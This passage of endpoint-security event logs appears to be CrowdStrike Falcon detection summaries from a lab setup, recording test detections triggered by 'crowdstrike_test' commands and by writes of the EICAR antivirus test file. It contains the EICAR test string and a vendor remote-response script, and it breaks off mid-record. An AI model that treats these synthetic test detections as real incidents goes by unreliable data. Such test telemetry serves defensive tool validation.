crowdstrike_test_low","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776","DataDomains":"Endpoint","Description":"A low level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_high","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"86920ea0b350c9a3e3752a6aba6e1143","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_medium","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43448891811,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10306,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43450917603,"ProcessStartTime":1752575368,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575434000,"eventType":"EppDetectionSummaryEvent","offset":2021280,"version":"1.0"}} -{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_high","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824","DataDomains":"Endpoint","Description":"A high level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"099d5a3c2f87817751337a9cf8d6a70b","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_critical","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43444774922,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10304,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43447659975,"ProcessStartTime":1752575345,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":70,"SeverityName":"High","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575421000,"eventType":"EppDetectionSummaryEvent","offset":2021278,"version":"1.0"}} -{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_critical","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528","DataDomains":"Endpoint","Description":"A critical level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"bd5bfe63bc48507039f7e3afa5b01a70","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10303,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43444774922,"ProcessStartTime":1752575334,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":90,"SeverityName":"Critical","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575410000,"eventType":"EppDetectionSummaryEvent","offset":2021272,"version":"1.0"}} -{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_medium","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744","DataDomains":"Endpoint","Description":"A medium level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_critical","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"645b4fecb42fb954858850fe127ceb98","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_high","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43447659975,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10305,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43448891811,"ProcessStartTime":1752575354,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":50,"SeverityName":"Medium","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575404000,"eventType":"EppDetectionSummaryEvent","offset":2021265,"version":"1.0"}} -{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42950506623","CommandLine":"choice /m crowdstrike_sample_detection","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448","DataDomains":"Endpoint","Description":"For evaluation only - benign, no action needed.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"ce0219f7ab9077db1c089a48eaa82eb1","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10197,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43438097407,"ProcessStartTime":1752575318,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Malware","Technique":"Malicious File","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575384000,"eventType":"EppDetectionSummaryEvent","offset":2021264,"version":"1.0"}} -{"event":{"AgentId":"1d58fa2265b540b79cd057e8fa798e4d","AggregateId":"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364","CommandLine":"/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"bash","FilePath":"/usr/bin/bash","GrandParentCommandLine":"falcon-sensor-bpf","GrandParentImageFileName":"falcon-sensor-bpf17804","GrandParentImageFilePath":"/opt/CrowdStrike/falcon-sensor-bpf17804","HostGroups":"5b2e67ccb1de4ac0b1c49225c8fcb132","Hostname":"cs-elastic","LocalIP":"192.168.64.5","LocalIPv6":"","LogonDomain":"","MACAddress":"52-54-00-58-b6-5e","MD5String":"21cdb844225f8dc4ea6e9f80f9940a2b","Name":"Attacker Methodology","Objective":"Follow Through","ParentCommandLine":"/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n# Run a bash script with specified command line and timeout\n# DESCRIPTION\n# CrowdStrike Real Time Response command\n# PARAMETER WD\n# Current working directory\n# PARAMETER Param1\n# Script body - Required\n# PARAMETER Param2\n# Command line sent to script\n# PARAMETER Param3\n# Local path - path to local file to be used as script body\n# PARAMETER Param4\n# Timeout in seconds\n# NOTES\n# File Name : runscript.sh\n# Contact : support@crowdstrike.com\n# Copyright : CrowdStrike 2020\n# LINK\n# https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n echo \"$command: $1\" >&2\n exit 1\n}\n\nfunction err_handler()\n{\n # Rewrite the error message to remove the internal command prefix\n echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n eval set -- \"$1\"\n echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n script=\"$1\"\n shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n script_args=\"$1\"\n shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n script_path=\"$(get_arg \"$1\")\"\n if [ -n \"$script_path\" ]; then\n script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n fi\n shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n if [ -n \"$1\" ]; then\n timeout=\"$1\"\n fi\n shift\nfi\n\nif [ -z \"$script\" ]; then\n die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n current_time=$(get_time)\n if ((current_time - start_time >= timeout*resolution)); then\n kill -9 $pid >/dev/null 2>&1\n echo \"$command: Timed out waiting for script to exit\" >&2\n kill -9 -$$ >/dev/null 2>&1\n fi\n if ((current_time - last_print_time >= print_interval*resolution)); then\n printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n last_print_time=$current_time\n fi\n /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com ","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1751532935654264600,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":30195,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1751532935,"ProcessId":1751532935660927000,"ProcessStartTime":1751532935,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"root"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751533769000,"eventType":"EppDetectionSummaryEvent","offset":1962865,"version":"1.0"}} -{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751371899000,"eventType":"EppDetectionSummaryEvent","offset":1956190,"version":"1.0"}} -{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known 